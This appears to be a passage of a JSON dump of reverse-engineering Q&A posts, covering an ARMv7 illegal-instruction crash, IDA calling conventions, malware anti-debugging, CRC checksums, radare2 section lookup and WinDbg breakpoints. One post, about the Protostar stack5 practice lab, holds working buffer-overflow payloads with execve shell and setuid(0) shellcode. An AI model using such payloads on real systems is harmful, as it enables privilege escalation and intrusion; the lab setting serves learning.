    gef> x/20i $pc\n=> 0x796a0: mov r11, #0\n   0x796a4: mov lr, #0\n   0x796a8: pop {r1}        ; (ldr r1, [sp], #4)\n   0x796ac: mov r2, sp\n   0x796b0: push    {r2}        ; (str r2, [sp, #-4]!)\n   0x796b4: push    {r0}        ; (str r0, [sp, #-4]!)\n   0x796b8: ldr r12, [pc, #16]  ; 0x796d0\n   0x796bc: push    {r12}       ; (str r12, [sp, #-4]!)\n   0x796c0: ldr r0, [pc, #12]   ; 0x796d4\n   0x796c4: ldr r3, [pc, #12]   ; 0x796d8\n   0x796c8: bl  0x4021a0\n   0x796cc: bl  0x401fa0\n   0x796d0: andeq   r2, r12, #200, 2    ; 0x32\n   0x796d4: andeq   r10, r1, r12, lsl #11\n   0x796d8: andeq   r2, r12, #40, 2\n   0x796dc: ldr r3, [pc, #20]   ; 0x796f8\n   0x796e0: ldr r2, [pc, #20]   ; 0x796fc\n   0x796e4: add r3, pc, r3\n   0x796e8: ldr r2, [r3, r2]\n   0x796ec: cmp r2, #0\ngef> \n
    \n\n

    It all looks like valid ARM instructions.

    \n\n

    In case it's relevant - All ldr instructions (0x796b8, 0x796c0, 0x796c4) in gdb are giving this message when executed: Cannot access memory at address 0x0. Some mov instructions throw this too.

    \n\n

    At 0x796c8: bl 0x4021a0:

    \n\n
    ->   0x796c8                  bl     0x4021a0\n   \\->    0x4021a0                  ldr    pc,  [pc,  #-4]  ; 0x4021a4\n
    \n\n

    And eventually we get here:

    \n\n
    gef> x/20i $pc\n=> 0x20c1b30:   push    {r4, r5, r6, r7, lr}\n   0x20c1b34:   sub sp, sp, #300    ; 0x12c\n   0x20c1b38:   movw    r12, #0                 \n   0x20c1b3c:   mov r5, r3                          --> Here is our illegal instruction\n   0x20c1b40:   movt    r12, #0\n   0x20c1b44:   str r1, [sp, #4]\n   0x20c1b48:   movw    r1, #65336  ; 0xff38\n   0x20c1b4c:   cmp r12, #0\n   0x20c1b50:   ldr r3, [sp, #4]\n   0x20c1b54:   str r2, [sp, #8]\n   0x20c1b58:   ldrne   r12, [r12]\n   0x20c1b5c:   add r2, r3, #1\n   0x20c1b60:   str r0, [sp, #12]\n   0x20c1b64:   movw    r3, #56376  ; 0xdc38\n   0x20c1b68:   ldr r7, [sp, #8]\n   0x20c1b6c:   movw    r0, #3092   ; 0xc14\n   0x20c1b70:   ldr lr, [sp, #328]  ; 0x148\n   0x20c1b74:   clzne   r12, r12\n   0x20c1b78:   movt    r0, #685    ; 0x2ad\n   0x20c1b7c:   movt    r1, #827    ; 0x33b\n
    \n\n

    And of course a copy of the binary can be found here: https://mega.nz/#!CKxBQKaI!T__d9pjpOn_rPtfvPNkkPsFWHTjg7u-vDt5AK6610ug

    \n\n

    So are the registers just not initialized to the right values? How can that be possible?

    \n\n

    To paraphrase from Archer: What am I not getting?... I think the core concept.

    \n\n

    I am probably missing a critical idea here. I'm hoping someone can help fill in the blank(s).

    \n\n

    UPDATE 1:

    \n\n

    At @0xC0000022L suggestion I looked into making sure the ARM revision of my VM/Pi matches that of the binary. As far as I can tell they do. Just comparing a binary from the VM to my my ARM binary I'm trying to get running their ABIs match (32-bit ARMv5):

    \n\n
    $ file my_arm_bin \nmy_arm_bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.16, stripped\n $ file /usr/bin/id\n/usr/bin/id: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, stripped\n
    \n\n

    UPDATE 2:

    \n\n

    At @perror suggestion I tried forcing the binary to execute in thumb mode. For context here is the disassembly when running in \"arm\" (non-thumb) mode:

    \n\n
    gef> x/10i $pc\n=> 0x20c1b38:   movw    r12, #0\n   0x20c1b3c:   mov r5, r3\n   0x20c1b40:   movt    r12, #0\n   0x20c1b44:   str r1, [sp, #4]\n   0x20c1b48:   movw    r1, #65336  ; 0xff38\n   0x20c1b4c:   cmp r12, #0\n   0x20c1b50:   ldr r3, [sp, #4]\n   0x20c1b54:   str r2, [sp, #8]\n   0x20c1b58:   ldrne   r12, [r12]\n   0x20c1b5c:   add r2, r3, #1\n
    \n\n

    Forcing thumb mode, I now see:

    \n\n
    gef> set arm force-mode thumb\ngef> x/10i $pc\n=> 0x20c1b38:   stmia   r0!, {}\n   0x20c1b3a:   b.n 0x20c213e\n   0x20c1b3c:   str r3, [r0, r0]\n   0x20c1b3e:   b.n 0x20c1e82\n   0x20c1b40:   stmia   r0!, {}\n   0x20c1b42:   b.n 0x20c21c6\n   0x20c1b44:   asrs    r4, r0, #32\n   0x20c1b46:   b.n 0x20c1664\n   0x20c1b48:   subs    r0, r7, #4\n   0x20c1b4a:   b.n 0x20c216c\n
    \n\n

    Forcing thumb mode prior to execution, the program exits immediately with the following error:

    \n\n
    [!] Cannot disassemble from $PC\n[!] Cannot access memory at address 0x6ac\n
    \n\n

    Starting the executable up, breaking and switching modes exits with an Illegal instruction error.

    \n", "Title": "Why is this ARM binary throwing an 'Illegal instruction' error and quitting?", "Tags": "|arm|", "Answer": "

    From a preliminary analysis the binary looks to be of atleast ARMv7. It runs under qemu-user without problems.

    \n\n
    $ qemu-arm --version\nqemu-arm version 2.11.0\nCopyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers\n\n$ qemu-arm ./my_arm_bin \n+++++++++++++++++++++++++++++++++\nName:storage\nVersion:1.05.3\nBuild date:Apr 24 2018 13:16:31\nDesc:DriverManager release\n+++++++++++++++++++++++++++++++++\n+++++++++++++++++++++++++++++++++\nName:manager\nVersion:1.03.1\nBuild date:Apr 24 2018 13:16:31\nDesc:\n+++++++++++++++++++++++++++++++++\n+++++++++++++++++++++++++++++++++\nName:manager\nVersion:1.03.1\nBuild date:Apr 24 2018 13:16:31\nDesc:\n+++++++++++++++++++++++++++++++++\n+++++++++++++++++++++++++++++++++\nName:guictrls\nVersion:1.05.5\nBuild date:Apr 24 2018 13:16:31\nDesc:GUI ctrls Relese\n+++++++++++++++++++++++++++++++++\n+++++++++++++++++++++++++++++++++\nName:OS\nVersion:1.00.1\nBuild date:Apr 24 2018 13:16:31\nDesc:OS Relese\n------snip-------------------\n
    \n\n

    However, running under a ARMv6 QEMU VM it crashes with an Illegal instruction, similar to yours. Digging deep there're indeed some instructions which are invalid under ARMv5.

    \n\n
    \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500[ code:arm ]\u2500\u2500\u2500\u2500\n    0x20c1b2c                  bl     0x20d434c\n    0x20c1b30                  push   {r4,  r5,  r6,  r7,  lr}\n    0x20c1b34                  sub    sp,  sp,  #300    ; 0x12c\n \u2192  0x20c1b38                  movw   r12,  #0\n    0x20c1b3c                  mov    r5,  r3\n    0x20c1b40                  movt   r12,  #0\n    0x20c1b44                  str    r1,  [sp,  #4]\n    0x20c1b48                  movw   r1,  #65336   ; 0xff38\n    0x20c1b4c                  cmp    r12,  #0\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500[ threads ]\u2500\u2500\u2500\u2500\n[#0] Id 1, Name: \"my_arm.bin\", stopped, reason: SIGILL\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500[ trace ]\u2500\u2500\u2500\u2500\n[#0] 0x20c1b38 \u2192 movw r12,  #0\n[#1] 0x796cc \u2192 bl 0x401fa0\n
    \n\n

    Above it crashed on the movw r12, #0 at 0x20c1b38. Now the movw was introduced in ARMv7 and unavailable in ARMv5. Similarly the movt instruction is also invalid under v5.

    \n\n

    \"enter

    \n\n

    Image Source

    \n\n

    This explains why ARM v5/v6 qemu is crashing. So to run the binary you would atleast need an ARMv7 QEMU vm or the Raspberry Pi 2 which sports an ARMv7 processor.

    \n" }, { "Id": "18558", "CreationDate": "2018-06-19T10:36:12.650", "Body": "

    I'm playing with Basic Buffer Overflow Protostar - Stack 5

    \n\n
    #include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n\n//gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -m32 -g bof2.c -o bof2\n//sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'\n\n\nint main(int argc, char **argv)\n{\n  char buffer[64];\n\n  gets(buffer);\n}\n
    \n\n

    Then I try simple shellcode http://shell-storm.org/shellcode/files/shellcode-811.php

    \n\n

    So final payload looks like this

    \n\n
    (python -c \"print 'A'*72+'\\xf4\\xd1\\xff\\xff'+'\\x90'*200+'\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\x40\\xcd\\x80'\"; tee) | ./protostar-stack5\n
    \n\n

    It works like expected, so when I type id in STDIN then STDOUT will be my current id and so on.

    \n\n

    Now I want to try shellcode with SETUID(0) here is the link http://shell-storm.org/shellcode/files/shellcode-598.php

    \n\n

    so my final payload will be

    \n\n
    (python -c \"print 'A'*72+'\\xf4\\xd1\\xff\\xff'+'\\x90'*200+'\\x31\\xdb\\x8d\\x43\\x17\\xcd\\x80\\x53\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x53\\x89\\xe1\\x99\\xb0\\x0b\\xcd\\x80'\"; tee) | ./protostar-stack5\n
    \n\n

    When I type id in STDIN I got Segmentation Fault

    \n\n

    So I decide to check by step into from NOP to Shellcode inside GDB

    \n\n
       0xffffd235:  nop\n   0xffffd236:  nop\n   0xffffd237:  nop\n=> 0xffffd238:  xor    ebx,ebx ; Start of Shellcode\n   0xffffd23a:  lea    eax,[ebx+0x17]\n   0xffffd23d:  int    0x80\n   0xffffd23f:  push   ebx\n   0xffffd240:  push   0x68732f6e\n   0xffffd245:  push   0x69622f2f\n   0xffffd24a:  mov    ebx,esp\n   0xffffd24c:  push   eax\n   0xffffd24d:  push   ebx\n   0xffffd24e:  mov    ecx,esp\n   0xffffd250:  cdq    \n   0xffffd251:  mov    al,0xb\n=> 0xffffd253:  int    0x80  ; End Of Shellcode\n   0xffffd255:  add    bh,bh ; Still executed\n   0xffffd257:  dec    DWORD PTR [ebx-0x25] ; Still executed\n   0xffffd25a:  (bad)  ; Still executed, this cause Segmentation fault\n   0xffffd25b:  jmp    DWORD PTR [edx-0x25]\n   0xffffd25e:  (bad)  \n   0xffffd25f:  push   DWORD PTR [ebx+ebx*8-0x1]\n\nLegend: code, data, rodata, value\nStopped reason: SIGILL\n0xffffd25a in ?? ()\n
    \n\n

    I step into from start of shellcode till the end of shellcode, I got no error but shell doesn't appear and it still execute instruction after the end of shellcode then it will be Segmentation Fault in the end

    \n\n

    I have already set SUID Bit in compiled program.

    \n\n

    So Why I got Segmentation Fault instead of executing shell?

    \n\n

    Why instruction after INT 80 still executed, it's different with basic shellcode which give me shell after INT 80 executed?

    \n\n

    What should I do to make my payload which containt SETUID(0) work like expected?

    \n\n

    PS : I Want to ask it, fortunately it work by the end of writing question. Any other answer is welcome.

    \n\n

    Thanks in advance.

    \n", "Title": "Why SUID Shellcode not working but Basic Shellcode working?", "Tags": "|buffer-overflow|", "Answer": "

    Don't forget to set compiled program owner as root sudo chown root ./filename and don't forget to set SUID bit chmod u+s ./filename, because your payload contain SETUID(0)

    \n" }, { "Id": "18561", "CreationDate": "2018-06-19T13:09:25.303", "Body": "

    I am performing reverse engineering on android apk using apktool.

    \n\n
      \n
    1. Is there any way I can view the code in SDK/NDK files ?
      2. \n
    2. if i make any change in the .smali files is it necessary to run the modified apk on rooted device and what will happen if i run the modified apk on non-rooted device ?
      3. \n
    \n", "Title": "How to view SDK files and is it mandatory to run modified apk on rooted device", "Tags": "|android|java|apk|", "Answer": "

    1) The Code written in NDK files is visible in .so files.

    \n\n

    2) It is not mandatory to run the modified apk on rooted devices,but its a better option to run on rooted devices.

    \n" }, { "Id": "18570", "CreationDate": "2018-06-21T09:27:06.630", "Body": "

    I've a binary opened in IDA. It uses a function pointer from a COM vtable. I found that the COM method has 13 parameters (including this). But IDA shows only 4 parameters as shown in this pseudocode:

    \n\n
    v93 = 0i64;\nv79 = &hObject;\nv78 = &v93;\nv77 = 0xFFFFFFFF;\nv76 = (signed int)NtCurrentPeb()->ProcessParameters->Reserved2[0];\nv75 = a6;\nLODWORD(v74) = v130;\nv73 = v129;\nHIDWORD(v72) = HIDWORD(v118);\nv71 = Dst;\nv14 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD, __int64))(*(_QWORD *)v10 + 48i64))(v10, v117, v91, v116);\n
    \n\n

    The corresponding disassembly looks like this:

    \n\n
    loc_1400055B6:\nmov     [rsp+2A8h+var_1E0], rsi\nmov     rax, gs:60h\nmov     rcx, [rax+20h]\nmov     rdx, [rcx+10h]\nmov     rax, [r12]\nmov     r10, [rax+30h]\nlea     rax, [rsp+2A8h+hObject]\nmov     [rsp+2A8h+var_248], rax\nlea     rax, [rsp+2A8h+var_1E0]\nmov     [rsp+2A8h+var_250], rax\nor      [rsp+2A8h+var_258], 0FFFFFFFFh\nmov     [rsp+2A8h+var_260], edx\nmov     [rsp+2A8h+var_268], r15\nmov     eax, dword ptr [rsp+2A8h+var_90]\nmov     dword ptr [rsp+2A8h+var_270], eax\nmov     rax, [rsp+2A8h+var_98]\nmov     [rsp+2A8h+var_278], rax\nmov     rax, [rsp+2A8h+var_110]\nmov     [rsp+2A8h+var_280], rax\nmov     rax, [rsp+2A8h+Dst]\nmov     [rsp+2A8h+var_288], rax\nmov     r9, [rsp+2A8h+var_120]\nmov     r8d, [rsp+2A8h+var_1EC]\nmov     rdx, [rsp+2A8h+var_118]\nmov     rcx, r12\nmov     rax, r10\ncall    cs:__guard_dispatch_icall_fptr\nmov     rcx, [rsp+2A8h]\ntest    eax, eax\njs      loc_140005FF4\n
    \n\n

    Question: The function pointer i.e. v10 + 48i64 shows only four parameter. How can I add or find the remaining parameters?

    \n\n
    \n\n

    Update: I add a header file mentioning the total 13 probable parameters in that method. Though IDA changes the data type of four parameters (v10, v117, v91, v116) it doesn't add remaining ones. I thought that if v71 to v79 are the other parameter of that COM method. That'll make all 13 parameters. And the execution starts with v79. May be like __stdcall.

    \n", "Title": "How to add/find parameters to a function declaration in IDA/HexRays?", "Tags": "|ida|disassembly|hexrays|com|", "Answer": "
      \n
    • Simplification: All the memory offsets are in decimal.
      • \n
    \n\n\n\n
    loc_1400055B6:\nmov     [rsp+200], rsi\nmov     rax, gs:60h\nmov     rcx, [rax+32]\nmov     rdx, [rcx+16]\nmov     rax, [r12]              ;load lpVtbl pointer\nmov     r10, [rax+48]           ;sixth (48/8) function after QueryInterface\nlea     rax, [rsp+168]\nmov     [rsp+96], rax           ;13th parameter\nlea     rax, [rsp+200]\nmov     [rsp+88], rax           ;12th parameter\nmov     [rsp+80], rsi           ;11th parameter\nmov     [rsp+72], edx           ;10th parameter\nmov     [rsp+64], r15           ;9th parameter\nmov     eax, [rsp+744]\nmov     [rsp+56], eax           ;8th parameter\nmov     rax, [rsp+736]\nmov     [rsp+48], rax           ;7th parameter\nmov     rax, [rsp+616]\nmov     [rsp+40], rax           ;6th parameter\nmov     rax, [rsp+592]\nmov     [rsp+32], rax           ;5th parameter\nmov     r9, [rsp+600]           ;4th parameter\nmov     r8d, [rsp+196]          ;3rd parameter\nmov     rdx, [rsp+608]          ;2nd parameter\nmov     rcx, r12                ;1st parameter aka. 'this' pointer \nmov     rax, r10                ;sixth function after QueryInterface\ncall    cs:__guard_dispatch_icall_fptr\nmov     rcx, [rsp+378h]\ntest    eax, eax\njs      loc_140005FF4\n
    \n\n
      \n
    • Explanation: The binary is a Windows 64bit executable. It is not easily possible to get details of function parameters with pseudo-code only. The assembly code defines more than that.
      • \n
    \n\n

    The function follows __fastcall convention. Quote from this article: \"Integer arguments are passed in registers RCX, RDX, R8, and R9\". As you can see the assembly follows same rule from 1st to 4th parameter. Then the rest of parameters are stored in stack with increment of [RSP+32] to [RSP+96]. For example:

    \n\n\n\n
    func1(int a, int b, int c, int d, int e);\n// a in RCX, b in RDX, c in R8, d in R9, e pushed on stack \n
    \n\n

    Hence IDA only takes the four general 64bit registers as parameters only, not the stack variables and it shows only four parameters instead of thirteen parameters. At last, ignore the calling of __guard_dispatch_icall_fptr function, it's just a Control Flow Guard added by M$ Visual Studio compiler.

    \n\n\n" }, { "Id": "18575", "CreationDate": "2018-06-22T02:30:06.153", "Body": "

    I'm trying to get a debugger attached to a malware, but it seems to pick up whenever a new remote thread is created (which makes it so I can't use Scyllahide).

    \n\n

    Even if I suspend all threads, it does the following:\nWhen a new remote thread is created(CreateRemoteThread / ZwCreateThread) (internally calling CreateThread is ok) it patches a 0xC3(ret) to the entry point.

    \n\n

    I tried suspending it on creation then resuming it later but as soon as it is resumed the entry point gets patched before it can execute.

    \n\n

    I've looked at hooks in PCHunter, there is no hooks in unnamed functions or thread related functions.

    \n\n

    IDA Pro isn't helping much, the process is obfuscated a lot.

    \n\n

    I don't know what should be the next step at this point, so I'm hoping someone can help me figure this out.

    \n\n

    It looks like a hook or a callback is set somewhere but I don't know of any callback that gets executed on thread creation(at least in usermode) and I can't seem to find any hook related to threads in windows dll's.

    \n", "Title": "Unable to use CreateRemoteThread in target process", "Tags": "|windows|x86-64|x64dbg|thread|", "Answer": "

    The act of injecting a thread will trigger a call to any Thread Local Storage callbacks which the PE file might carry, even when all other threads are suspended. Such a callback might be responsible for overwriting your thread code, since the callback has access to the important thread information such as its entry-point.

    \n" }, { "Id": "18581", "CreationDate": "2018-06-22T20:02:07.217", "Body": "

    I have the following data. Can someone help me reverse engineer the checksum calculation?

    \n\n
    Data                            Checksum\n01 02 80 05 00 00 00 00 00       7d 8c\n01 03 80 05 00 00 00 00 00       ae cb\n01 04 80 05 00 00 00 00 00       b6 0c\n01 05 80 05 00 00 00 00 00       65 4b\n01 06 80 05 00 00 00 00 00       10 83\n01 07 80 05 00 00 00 00 00       c3 c4\n01 08 80 05 00 00 00 00 00       01 1d\n
    \n", "Title": "Reverse Engineering Checksum (RS485 Bus)", "Tags": "|decryption|", "Answer": "

    Google is your friend. A search for \"crc calculation online\" delivered the solution on the top hit:

    \n\n

    CRC Calculator (Javascript)

    \n\n

    \"enter

    \n" }, { "Id": "18582", "CreationDate": "2018-06-22T23:13:58.763", "Body": "

    Given a simple program like this,

    \n\n
    void main (int argc, char * argv[] ) {\n    char * arr[] = {\"foo\", \"bar\", \"baz\"};\n    *(arr[0]) = 'F';\n    printf( \"%s\", arr[0] );\n}\n
    \n\n

    How do I find out what section the strings foo, bar, and baz are defined in? As in, are they in the .text section or .rodata, and also check to make sure those section are ro, or rw?

    \n", "Title": "How do I find out what section variables and strings are defined in?", "Tags": "|c|radare2|elf|section|", "Answer": "

    In the following answer, I'll show you several ways to achieve what you want. I'll use different approaches to do this with radre2.

    \n\n

    First, let's create a program with a bit longer strings:

    \n\n
    $ cat helloworld.c \n\n#include <stdio.h>\n\nvoid main (int argc, char * argv[] ) {\n    char * arr[] = {\"Hello\", \"World\", \"Byebye\"};\n    arr[0] = \"F\";\n    printf( \"%s\\n\", arr[0] );\n}\n\n$ gcc helloworld.c -o helloworld\n
    \n\n

    And open it in radare2:

    \n\n
    $ r2 helloworld\n
    \n\n

    Now that we have a tiny binary, we can start.

    \n\n
    \n\n

    Method 1: Strings in data sections

    \n\n

    Using the iz command you can list the strings in the data sections. For each string, you can see the section it belongs to:

    \n\n
    [0x000005b0]> iz\n000 0x000007b4 0x000007b4   5   6 (.rodata) ascii Hello\n001 0x000007ba 0x000007ba   5   6 (.rodata) ascii World\n002 0x000007c0 0x000007c0   6   7 (.rodata) ascii Byeby\n
    \n\n

    And of course, you can always use radare's internal grep (~) to take only the relevant columns:

    \n\n
    [0x000005b0]> iz~[5,7]\n(.rodata) Hello\n(.rodata) World\n(.rodata) Byebye\n
    \n\n

    Method 2: Strings in the whole binary

    \n\n

    Unlike iz, the command izz will search for strings in the whole binary. This command will show you more strings than iz but it'll search for strings in other sections as well.

    \n\n
    [0x000005b0]> izz\n000 0x00000034 0x00000034   4  10 (LOAD0) utf16le @8\\t@\n001 0x00000238 0x00000238  27  28 (.interp) ascii /lib64/ld-linux-x86-64.so.2\n002 0x00000379 0x00000379   9  10 (.dynstr) ascii libc.so.6\n003 0x00000383 0x00000383   4   5 (.dynstr) ascii puts\n004 0x00000388 0x00000388  16  17 (.dynstr) ascii __stack_chk_fail\n005 0x00000399 0x00000399  14  15 (.dynstr) ascii __cxa_finalize\n006 0x000003a8 0x000003a8  17  18 (.dynstr) ascii __libc_start_main\n007 0x000003ba 0x000003ba   9  10 (.dynstr) ascii GLIBC_2.4\n008 0x000003c4 0x000003c4  11  12 (.dynstr) ascii GLIBC_2.2.5\n009 0x000003d0 0x000003d0  27  28 (.dynstr) ascii _ITM_deregisterTMCloneTable\n010 0x000003ec 0x000003ec  14  15 (.dynstr) ascii __gmon_start__\n011 0x000003fb 0x000003fb  25  26 (.dynstr) ascii _ITM_registerTMCloneTable\n...\n019 0x000007b4 0x000007b4   5   6 (.rodata) ascii Hello\n020 0x000007ba 0x000007ba   5   6 (.rodata) ascii World\n021 0x000007c0 0x000007c0   6   7 (.rodata) ascii Byebye\n022 0x00000810 0x00000810   4   5 (.eh_frame) ascii \\e\\f\\a\\b\n023 0x00000840 0x00000840   4   5 (.eh_frame) ascii \\e\\f\\a\\b\n024 0x00000867 0x00000867   5   6 (.eh_frame) ascii ;*3$\"\n025 0x0000088a 0x0000088a   4   5 (.eh_frame) ascii h\\f\\a\\b\n026 0x00001038 0x00000000  16  17 (.comment) ascii GCC: (GNU) 7.2.0\n027 0x00001669 0x00000001   6   7 (.strtab) ascii init.c\n028 0x00001670 0x00000008  10  11 (.strtab) ascii crtstuff.c\n...\n
    \n\n

    Again, you can see that radare2 shows you the section name for each string. \nIf you are searching for specific strings, grep is your friend:

    \n\n
    [0x000005b0]> izz~Hello, World, Byebye\n019 0x000007b4 0x000007b4   5   6 (.rodata) ascii Hello\n020 0x000007ba 0x000007ba   5   6 (.rodata) ascii World\n021 0x000007c0 0x000007c0   6   7 (.rodata) ascii Byebye\n\n[0x000005b0]> izz~Hello, World, Byebye[5,7]\n(.rodata) Hello\n(.rodata) World\n(.rodata) Byebye\n
    \n\n

    Method 3: Section of a specific address

    \n\n

    In this method, you already know the address of the string and you want to know to which section it belongs. Let's take \"Hello\" for example. We saw that \"Hello\" address is 0x000007b4. Let's verify it using ps (print string):

    \n\n
    [0x000005b0]> ps @ 0x000007b4\nHello\n
    \n\n

    As you can see, we printed a zero-terminated string from 0x07b4 (\"@\" is radare's temporary seek). Now that we are sure that this is the address of \"Hello\", we can use iS. to show the current Section name:

    \n\n
    [0x000005b0]> iS. @ 0x07b4\nCurrent section\n00 0x000007b0    25 0x000007b0    25 -r-- .rodata\n
    \n\n

    As expected, this address belongs to the .rodata section. Just as we saw before.

    \n\n
    \n\n

    Show Sections' attributes

    \n\n

    Finally, you wanted to check whether the sections' attributes are read-only or read-write. Using iS you can list all the sections, including their attributes:

    \n\n
    [0x000005b0]> iS\n[Sections]\n00 0x00000000     0 0x00000000     0 ---- \n01 0x00000238    28 0x00000238    28 -r-- .interp\n02 0x00000254    32 0x00000254    32 -r-- .note.ABI_tag\n03 0x00000274    36 0x00000274    36 -r-- .note.gnu.build_id\n04 0x00000298    28 0x00000298    28 -r-- .gnu.hash\n05 0x000002b8   192 0x000002b8   192 -r-- .dynsym\n06 0x00000378   157 0x00000378   157 -r-- .dynstr\n07 0x00000416    16 0x00000416    16 -r-- .gnu.version\n08 0x00000428    48 0x00000428    48 -r-- .gnu.version_r\n09 0x00000458   216 0x00000458   216 -r-- .rela.dyn\n10 0x00000530    48 0x00000530    48 -r-- .rela.plt\n11 0x00000560    23 0x00000560    23 -r-x .init\n12 0x00000580    48 0x00000580    48 -r-x .plt\n13 0x000005b0   498 0x000005b0   498 -r-x .text\n14 0x000007a4     9 0x000007a4     9 -r-x .fini\n15 0x000007b0    25 0x000007b0    25 -r-- .rodata\n16 0x000007cc    52 0x000007cc    52 -r-- .eh_frame_hdr\n17 0x00000800   240 0x00000800   240 -r-- .eh_frame\n18 0x00000de0     8 0x00200de0     8 -rw- .init_array\n19 0x00000de8     8 0x00200de8     8 -rw- .fini_array\n20 0x00000df0   480 0x00200df0   480 -rw- .dynamic\n21 0x00000fd0    48 0x00200fd0    48 -rw- .got\n22 0x00001000    40 0x00201000    40 -rw- .got.plt\n23 0x00001028    16 0x00201028    16 -rw- .data\n24 0x00001038     0 0x00201038     8 -rw- .bss\n25 0x00001038    17 0x00000000    17 ---- .comment\n26 0x00001050  1560 0x00000000  1560 ---- .symtab\n27 0x00001668   555 0x00000000   555 ---- .strtab\n28 0x00001893   259 0x00000000   259 ---- .shstrtab\n29 0x00000040   504 0x00000040   504 -r-x PHDR\n30 0x00000238    28 0x00000238    28 -r-- INTERP\n31 0x00000000  2288 0x00000000  2288 -r-x LOAD0\n32 0x00000de0   600 0x00200de0   608 -rw- LOAD1\n33 0x00000df0   480 0x00200df0   480 -rw- DYNAMIC\n34 0x00000254    68 0x00000254    68 -r-- NOTE\n35 0x000007cc    52 0x000007cc    52 -r-- GNU_EH_FRAME\n36 0x00000000     0 0x00000000     0 -rw- GNU_STACK\n37 0x00000de0   544 0x00200de0   544 -r-- GNU_RELRO\n38 0x00000000    64 0x00000000    64 -rw- ehdr\n
    \n\n

    Alternatively, use iSq to show a less-verbose output (q is for quiet), and you also can grep for read-write sections:

    \n\n
    [0x000005b0]> iS~rw\n18 0x00000de0     8 0x00200de0     8 -rw- .init_array\n19 0x00000de8     8 0x00200de8     8 -rw- .fini_array\n20 0x00000df0   480 0x00200df0   480 -rw- .dynamic\n21 0x00000fd0    48 0x00200fd0    48 -rw- .got\n22 0x00001000    40 0x00201000    40 -rw- .got.plt\n23 0x00001028    16 0x00201028    16 -rw- .data\n24 0x00001038     0 0x00201038     8 -rw- .bss\n32 0x00000de0   600 0x00200de0   608 -rw- LOAD1\n33 0x00000df0   480 0x00200df0   480 -rw- DYNAMIC\n36 0x00000000     0 0x00000000     0 -rw- GNU_STACK\n38 0x00000000    64 0x00000000    64 -rw- ehdr\n
    \n\n

    If you want to see read-only sections, use grep like this iS~r--.

    \n" }, { "Id": "18588", "CreationDate": "2018-06-23T08:16:08.660", "Body": "

    I can set a DWORD memory read/write access breakpoint in WinDbg with the following command:

    \n\n
    ba r 4 0x0307F42C\n
    \n\n

    But is there a way to set more than 4 of those?

    \n", "Title": "Can I set more than 4 memory access breakpoints in WinDbg?", "Tags": "|debugging|memory|windbg|breakpoint|", "Answer": "

    Although windbg does not support memory breakpoints, memory breakpoints are another common approach to place breakpoints based on memory access instead of code execution.

    \n\n

    Although most debuggers implement that internally, memory breakpoints work by setting the PAGE_GUARD bit for all pages in the memory breakpoint address range, and then filtering any exceptions caught for the specific ranges within the pages, and then resetting the page guard.

    \n\n

    You can do something similar by placing a page guard yourself using windbg, however that's a lot of effort.

    \n\n

    It is important to note that memory breakpoints are detectable with little effort and may dramatically slow execution (even further down than debugging), when debugging a piece of software with anti-debugging protection make sure you pay attention.

    \n" }, { "Id": "18591", "CreationDate": "2018-06-23T21:13:55.347", "Body": "

    So I'm currently trying to understand how an Android app interprets the data sent from a Bluetooth-enabled scale.

    \n\n

